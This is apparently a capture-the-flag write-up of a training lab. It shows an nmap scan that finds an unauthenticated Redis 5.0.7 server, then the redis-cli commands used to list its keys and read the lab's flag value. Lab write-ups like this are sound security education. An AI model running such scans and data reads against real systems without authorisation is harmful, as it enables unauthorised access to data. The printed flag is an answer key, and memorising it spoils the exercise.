Our next target machine is 10.129.83.196, let's see what ports are open (looks like we had to run a stealthy scan because of the lack of response from our machine):

```
┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
└──╼ [★]$ nmap -p- -sV 10.129.83.196
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-06 10:22 CDT

┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
└──╼ [★]$ nmap -p- -sS -sV 10.129.83.196
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-06 10:24 CDT
Nmap scan report for 10.129.83.196
Host is up (0.011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds
```

Let's connect to the redis server and gather some information:

```
┌─[us-starting-point-2-dhcp]─[10.10.14.203]─[emrom8@htb-wwcaodu5rp]─[~]
└──╼ [★]$ redis-cli -h 10.129.83.196
10.129.83.196:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:753
run_id:02b6fddf002deb5d9f4fca5eb0cb680cc080901c
tcp_port:6379
uptime_in_seconds:789
uptime_in_days:0
```

Next we are instructed to find/get the amount of keys present inside the database with index 0, lets first get into index 0, check them for keys and obtain all keys in the database:

```
10.129.83.196:6379> SELECT 0
OK
10.129.83.196:6379> DBSIZE
(integer) 4
10.129.83.196:6379> KEYS *
1) "temp"
2) "numb"
3) "flag"
4) "stor"
10.129.83.196:6379>
```

We see a flag key, so let’s grab its value:

```
10.129.83.196:6379> GET flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.83.196:6379>
```

Yay!